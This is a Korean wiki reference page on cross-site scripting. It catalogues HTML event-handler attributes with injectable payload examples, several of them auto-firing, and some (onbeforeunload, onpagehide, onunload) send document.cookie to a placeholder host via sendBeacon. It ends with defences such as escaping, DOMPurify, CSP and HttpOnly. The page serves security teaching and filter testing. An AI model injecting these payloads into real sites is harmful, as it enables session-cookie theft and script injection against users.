사용자 도구

사이트 도구


사이드바

기술문서:레퍼런스:보안:xss

XSS

XSS (Cross Site Scripting) 공격과 방어

공격

HTML Event Attributes

속성 예시 비고
onabort - 강제 중단/취소
onactivate 1) 2) -
onafterprint 3) <body
onafterprint="alert('attack')">
</body>

<frameset
onafterprint="alert('attack')">
</frameset>
인쇄 후
- 인쇄
- 취소
onafterscriptexecute 4) 5) -
onafterupdate 6) -
onanimationcancel 7) - 강제 중단/취소
onanimationend 8) <span
onanimationend="alert('attack')"
style="animation:progress-bar-stripes 1s">
</span>
애니메이션 종료
- 자동 실행 9)
onanimationiteration 10) <span
onanimationiteration="alert('attack')"
style="animation:progress-bar-stripes 1s infinite">
</span>
애니메이션 반복
- 자동 실행 11)
onanimationstart 12) <span
onanimationstart="alert('attack')"
style="animation:progress-bar-stripes 1s">
</span>
애니메이션 시작
- 자동 실행 13)
onappinstalled 14) 15) <body
onappinstalled="alert('attack')">
</body>
PWA 설치 성공 시
onauxclick 16) <img
src="https://wiki.jobdeveloper.co.kr/logo.png"
onauxclick="alert('attack')">
(영역 내) 떼는 순간
- 좌클릭 이외
onbeforeactivate 17) 18) -
onbeforecopy 19) <span
onbeforecopy="alert('attack')">
Ctrl + C
</span>
복사 시작 시
onbeforecut 20) <span
onbeforecut="alert('attack')">
Ctrl + X
</span>
잘라내기 시작 시
onbeforedeactivate 21) 22) -
onbeforeeditfocus 23) 24) -
onbeforeinput <input
onbeforeinput="alert('attack')">
입력 직전
onbeforeinstallprompt 25) 26) <body
onbeforeinstallprompt="alert('attack')">
</body>
PWA 설치 가능 시
onbeforematch -
onbeforepaste 27) - 붙여넣기 시작 시
onbeforeprint 28) <body
onbeforeprint="alert('attack')">
</body>

<frameset
onbeforeprint="alert('attack')">
</frameset>
인쇄 전
onbeforescriptexecute 29) 30) -
onbeforetoggle 31) -
onbeforeunload 32) <body
onbeforeunload="navigator.sendBeacon
('https://example.com', document.cookie)">
</body>

<frameset
onbeforeunload="navigator.sendBeacon
('https://example.com', document.cookie)">
</frameset>
페이지 이탈 시
onbeforeupdate 33) -
onbegin 34) <svg width="0" height="0">
<animate
onbegin="alert('attack')">
</svg>
애니메이션 시작
- 자동 실행
onblur 35) <input
onblur="alert('attack')">
포커스 이탈 시
onbounce 36) 37) -
oncancel 38) -
oncanplay 39) 40) <video
src="https://wiki.jobdeveloper.co.kr/logo.mp4"
width="0" height="0"
oncanplay="alert('attack')">
미디어 로딩 과정 41)
- 자동 실행
oncanplaythrough 42) 43) <video
src="https://wiki.jobdeveloper.co.kr/logo.mp4"
width="0" height="0"
oncanplaythrough="alert('attack')">
미디어 로딩 과정 44)
- 자동 실행
oncellchange 45) -
onchange 46) <input
onchange="alert('attack')">
1) 값 변경
2) 포커스 이탈 시
onchargingchange 47) -
onclick 48) <img
src="https://wiki.jobdeveloper.co.kr/logo.png"
onclick="alert('attack')">

<button
type="button"
onclick="alert('attack')">
Enter 또는 Space
</button>
(영역 내) 클릭

Enter 또는 Space
onclose 49) -
oncontentvisibilityautostatechange <span
oncontentvisibilityautostatechange="alert('attack')"
style="content-visibility:auto">
</span>
content-visibility:auto
- 자동 실행
oncontextlost 50) -
oncontextmenu 51) <img
src="https://wiki.jobdeveloper.co.kr/logo.png"
oncontextmenu="alert('attack')">

<button
type="button"
oncontextmenu="alert('attack')">
Shift + F10
</button>
(영역 내) 우클릭

Shift + F10
oncontextrestored 52) -
oncontrolselect 53) -
oncopy 54) <span
oncopy="alert('attack')">
Ctrl + C
</span>
복사 실행 시
oncuechange 55) -
oncut 56) <span
oncut="alert('attack')">
Ctrl + X
</span>
잘라내기 실행 시
ondblclick 57) <img
src="https://wiki.jobdeveloper.co.kr/logo.png"
ondblclick="alert('attack')">
(영역 내) 더블클릭
ondeactivate 58) 59) -
ondevicechange 60) -
ondevicemotion 61) -
ondeviceorientation 62) -
ondeviceorientationabsolute 63) -
ondrag 64) -
ondragend 65) -
ondragenter 66) -
ondragleave 67) -
ondragover 68) -
ondragstart 69) -
ondrop 70) -
ondurationchange 71) 72) <video
src="https://wiki.jobdeveloper.co.kr/logo.mp4"
width="0" height="0"
ondurationchange="alert('attack')">
미디어 로딩 과정 73)
- 자동 실행
onemptied 74) 75) - 미디어 소스 초기화
onend 76) <svg width="0" height="0">
<animate
onend="alert('attack')"
dur="1s">
</svg>
애니메이션 종료
- 자동 실행
onended 77) 78) - 재생 종료
onerror <img
src=""
onerror="alert('attack')">
로드 실패
- 자동 실행
onerrorupdate 79) -
onfilterchange 80) -
onfinish 81) 82) -
onfocus 83) <input
onfocus="alert('attack')">
포커스 진입 시
onfocusin 84) <input
onfocusin="alert('attack')">
포커스 진입 시
onfocusout 85) <input
onfocusout="alert('attack')">
포커스 이탈 시
onformchange - 1) 값 변경
2) 포커스 이탈 시
onformdata 86) -
onforminput - 입력 직후
onfreeze 87) -
onfscommand 88) 89) -
onfullscreenchange - 전체 화면 변경
onfullscreenerror - 전체 화면 오류
ongamepadconnected 90) -
ongamepaddisconnected 91) -
ongotpointercapture 92) - 제어권 획득
onhashchange - 해시 부분(#) 변경
onhelp 93) -
oninput <input
oninput="alert('attack')">
입력 직후
oninvalid 94) <form>
<input
required
oninvalid="alert('attack')">
</form>
유효성
onkeydown 95) <input
onkeydown="alert('attack')">
(키) 누르는 순간
onkeypress 96) -
onkeyup 97) <input
onkeyup="alert('attack')">
(키) 떼는 순간
onlanguagechange 98) 99) <body
onlanguagechange="alert('attack')">
</body>
브라우저 설정
- 언어 추가/삭제/이동
- 이 언어로 표시
onlayoutcomplete 100) -
onlevelchange 101) -
onload <img
src="https://wiki.jobdeveloper.co.kr/logo.png"
onload="alert('attack')">
로드 완료
- 자동 실행
onloadeddata 102) 103) <video
src="https://wiki.jobdeveloper.co.kr/logo.mp4"
width="0" height="0"
onloadeddata="alert('attack')">
미디어 로딩 과정 104)
- 자동 실행
onloadedmetadata 105) 106) <video
src="https://wiki.jobdeveloper.co.kr/logo.mp4"
width="0" height="0"
onloadedmetadata="alert('attack')">
미디어 로딩 과정 107)
- 자동 실행
onloadstart 108) 109) <video
src="https://wiki.jobdeveloper.co.kr/logo.mp4"
width="0" height="0"
onloadstart="alert('attack')">
미디어 로딩 과정 110)
- 자동 실행
onlostpointercapture 111) - 제어권 상실
onmessage 112) -
onmessageerror 113) -
onmousedown 114) <img
src="https://wiki.jobdeveloper.co.kr/logo.png"
onmousedown="alert('attack')">
(영역 내) 누르는 순간
onmouseenter 115) <img
src="https://wiki.jobdeveloper.co.kr/logo.png"
onmouseenter="alert('attack')">
(영역 내) 진입 시
onmouseleave 116) <img
src="https://wiki.jobdeveloper.co.kr/logo.png"
onmouseleave="alert('attack')">
(영역 내) 이탈 시
onmousemove 117) <img
src="https://wiki.jobdeveloper.co.kr/logo.png"
onmousemove="alert('attack')">
(영역 내) 이동 시
onmouseout 118) <img
src="https://wiki.jobdeveloper.co.kr/logo.png"
onmouseout="alert('attack')">
(영역 내) 이탈 시
onmouseover 119) <img
src="https://wiki.jobdeveloper.co.kr/logo.png"
onmouseover="alert('attack')">
(영역 내) 진입 시
onmouseup 120) <img
src="https://wiki.jobdeveloper.co.kr/logo.png"
onmouseup="alert('attack')">
(영역 내) 떼는 순간
onmousewheel 121) <img
src="https://wiki.jobdeveloper.co.kr/logo.png"
onmousewheel="alert('attack')">
(영역 내) 휠 스크롤
onmove 122) -
onmoveend 123) -
onmovestart 124) -
onmozfullscreenchange 125) - 전체 화면 변경
onmozfullscreenerror 126) - 전체 화면 오류
onoffline 127) - 온라인 → 오프라인
ononline 128) - 오프라인 → 온라인
onorientationchange 129) <body
onorientationchange="alert('attack')">
</body>
화면 회전
onpagehide 130) <body
onpagehide="navigator.sendBeacon
('https://example.com', document.cookie)">
</body>

<frameset
onpagehide="navigator.sendBeacon
('https://example.com', document.cookie)">
</frameset>
페이지 이탈 시
onpageshow 131) <body
onpageshow="alert('attack')">
</body>

<frameset
onpageshow="alert('attack')">
</frameset>
페이지 진입 시
onpaste 132) <span
onpaste="alert('attack')">
Ctrl + V
</span>
붙여넣기 실행 시
onpause 133) 134) - 재생 일시중지
onplay 135) 136) - 재생 시작
onplaying 137) 138) - 재생 시작 성공
onpointercancel 139) - 강제 중단/취소
onpointerdown 140) <img
src="https://wiki.jobdeveloper.co.kr/logo.png"
onpointerdown="alert('attack')">
(영역 내) 누르는 순간
onpointerenter 141) <img
src="https://wiki.jobdeveloper.co.kr/logo.png"
onpointerenter="alert('attack')">
(영역 내) 진입 시
onpointerleave 142) <img
src="https://wiki.jobdeveloper.co.kr/logo.png"
onpointerleave="alert('attack')">
(영역 내) 이탈 시
onpointermove 143) <img
src="https://wiki.jobdeveloper.co.kr/logo.png"
onpointermove="alert('attack')">
(영역 내) 이동 시
onpointerout 144) <img
src="https://wiki.jobdeveloper.co.kr/logo.png"
onpointerout="alert('attack')">
(영역 내) 이탈 시
onpointerover 145) <img
src="https://wiki.jobdeveloper.co.kr/logo.png"
onpointerover="alert('attack')">
(영역 내) 진입 시
onpointerrawupdate 146) <img
src="https://wiki.jobdeveloper.co.kr/logo.png"
onpointerrawupdate="alert('attack')">
(영역 내) 이동 시
onpointerup 147) <img
src="https://wiki.jobdeveloper.co.kr/logo.png"
onpointerup="alert('attack')">
(영역 내) 떼는 순간
onpopstate - 뒤로가기
onpresentationconnectionavailable 148) -
onprogress 149) 150) <video
src="https://wiki.jobdeveloper.co.kr/logo.mp4"
width="0" height="0"
onprogress="alert('attack')">
미디어 로딩 과정 151)
- 자동 실행
onpropertychange 152) -
onratechange 153) 154) - 재생 속도 변경
onreadystatechange 155) -
onrejectionhandled 156) -
onrepeat 157) <svg width="0" height="0">
<animate
onrepeat="alert('attack')"
dur="1s"
repeatCount="2">
</svg>

<svg width="0" height="0">
<animate
onrepeat="alert('attack')"
dur="1s"
repeatCount="indefinite">
</svg>
애니메이션 반복
- 자동 실행
onreset 158) -
onresize 159) <body
onresize="alert('attack')">
</body>

<frameset
onresize="alert('attack')">
</frameset>

<svg width="0" height="0"
onresize="alert('attack')">
</svg>
창 크기 변경
onresume 160) -
onrowenter 161) -
onrowexit 162) -
onrowsdelete 163) -
onrowsinserted 164) -
onscroll - 스크롤 시
onscrollend - 스크롤 정지 시
onscrollsnapchange <div
style="scroll-snap-type:y mandatory;
overflow:scroll;
height:1px"
onscrollsnapchange="alert('attack')">
<div
style="scroll-snap-align:start;
height:1px">
</div>
<div
style="scroll-snap-align:start;
height:1px">
</div>
</div>
스냅 대상 변경 완료
- 자동 실행
onscrollsnapchanging - 스냅 대상 변경 중
onsearch 165) <input
type="search"
onsearch="alert('attack')">
Enter 또는 x
onsecuritypolicyviolation -
onseeked 166) 167) - 재생 위치 변경 완료
onseeking 168) 169) - 재생 위치 변경 중
onselect 170) <input
onselect="alert('attack')">
텍스트 선택 시
onselectionchange -
onselectstart <span
onselectstart ="alert('attack')">
텍스트
</span>
드래그 시작 시
onshow 171) -
onslotchange -
onstalled 172) 173) - 미디어 로딩 중단
onstart 174) 175) -
onstop 176) -
onstorage 177) -
onsubmit 178) -
onsuspend 179) 180) - 미디어 로딩 일시중단
ontimeupdate 181) 182) - 재생 시간 변경
ontoggle 183) -
ontouchcancel 184) - 강제 중단/취소
ontouchend 185) <img
src="https://wiki.jobdeveloper.co.kr/logo.png"
ontouchend="alert('attack')">
(영역 내) 떼는 순간
ontouchmove 186) <img
src="https://wiki.jobdeveloper.co.kr/logo.png"
ontouchmove="alert('attack')">
(영역 내) 이동 시
ontouchstart 187) <img
src="https://wiki.jobdeveloper.co.kr/logo.png"
ontouchstart="alert('attack')">
(영역 내) 누르는 순간
ontransitioncancel 188) -
ontransitionend 189) -
ontransitionrun 190) -
ontransitionstart 191) -
onunhandledrejection 192) -
onunload 193) <body
onunload="navigator.sendBeacon
('https://example.com', document.cookie)">
</body>

<frameset
onunload="navigator.sendBeacon
('https://example.com', document.cookie)">
</frameset>
페이지 이탈 시
onvisibilitychange -
onvolumechange 194) 195) - 재생 볼륨 변경
onvrdisplayactivate 196) -
onvrdisplaydeactivate 197) -
onwaiting 198) 199) - 재생 버퍼링 발생
onwebkitanimationcancel 200) -
onwebkitanimationend 201) -
onwebkitanimationiteration 202) -
onwebkitanimationstart 203) -
onwebkitcurrentplaybacktargetisitemcontainerchange 204) -
onwebkitfullscreenchange 205) - 전체 화면 변경
onwebkitfullscreenerror 206) - 전체 화면 오류
onwebkitmouseforcechanged 207) -
onwebkitmouseforcedown 208) -
onwebkitmouseforceup 209) -
onwebkitmouseforcewillbegin 210) -
onwebkittransitioncancel 211) -
onwebkittransitionend 212) -
onwebkittransitionrun 213) -
onwebkittransitionstart 214) -
onwebkitwillrevealbottom 215) -
onwheel 216) <img
src="https://wiki.jobdeveloper.co.kr/logo.png"
onwheel="alert('attack')">
(영역 내) 휠 스크롤
onzoom 217) -

218) 219)

방어

  • HTML 태그 무력화
    • & → &amp;
    • < → &lt;
    • > → &gt;
    • " → &quot;
    • ' → &apos;
  • DOMPurify 220) 사용
  • CSP 설정
  • HttpOnly 설정
1) , 17) , 21) , 36) , 58) , 81) , 122) , 123) , 124) , 152) , 174) , 176)
Internet Explorer / Edge Legacy
2) , 18) , 22) , 24) , 35) , 59) , 83) , 84) , 85)
포커스
3) , 28) , 32) , 130) , 131) , 193)
<body>, <frameset>
4) , 29) , 125) , 126)
Gecko 엔진
5) , 30)
<script>
6) , 23) , 33) , 45) , 53) , 79) , 80) , 88) , 93) , 100) , 161) , 162) , 163) , 164) , 217)
Internet Explorer
7) , 8) , 10) , 12)
CSS 애니메이션
9) , 11) , 13)
Bootstrap 3.x, 4.x, 5.x 사용 시
14) , 25)
Progressive Web App
15) , 26) , 99) , 129) , 177)
<body>
16) , 57) , 92) , 111) , 139) , 140) , 141) , 142) , 143) , 144) , 145) , 146) , 147)
포인터
19) , 20) , 27) , 54) , 56) , 132)
클립보드
31) , 183)
<details>
34) , 76) , 157)
SVG 애니메이션
37) , 82) , 175)
<marquee>
38) , 49)
<dialog>
39) , 42) , 71) , 74) , 77) , 102) , 105) , 108) , 133) , 135) , 137) , 149) , 153) , 166) , 168) , 172) , 179) , 181) , 194) , 198)
미디어
40) , 43) , 72) , 75) , 78) , 103) , 106) , 109) , 134) , 136) , 138) , 150) , 154) , 167) , 169) , 173) , 180) , 182) , 195) , 199)
<audio>, <video>
41) , 44) , 73) , 104) , 107) , 110) , 151)
순서
1. onloadstart
2. ondurationchange
3. onloadedmetadata
4. onloadeddata
5. onprogress
6. oncanplay
7. oncanplaythrough
46) , 94)
<input>, <textarea>, <select>
47) , 50) , 52) , 60) , 61) , 62) , 63) , 87) , 90) , 91) , 101) , 148) , 160) , 196) , 197)
하드웨어
48) , 51)
포인터 / 키보드
55)
<track>
64) , 65) , 66) , 67) , 68) , 69) , 70)
드래그 앤 드롭
86) , 158) , 178)
<form>
89)
플래시
95) , 96) , 97)
키보드
98)
시스템
112) , 113) , 127) , 128)
네트워크
114) , 115) , 116) , 117) , 118) , 119) , 120) , 121) , 216)
마우스
155) , 156) , 192)
비동기
159)
<body>, <frameset>, <svg>
165)
<input type="search">
170)
<input>, <textarea>
171)
Firefox
184) , 185) , 186) , 187)
터치
188) , 189) , 190) , 191)
CSS 트랜지션
200) , 201) , 202) , 203) , 204) , 205) , 206) , 207) , 208) , 209) , 210) , 211) , 212) , 213) , 214) , 215)
WebKit 엔진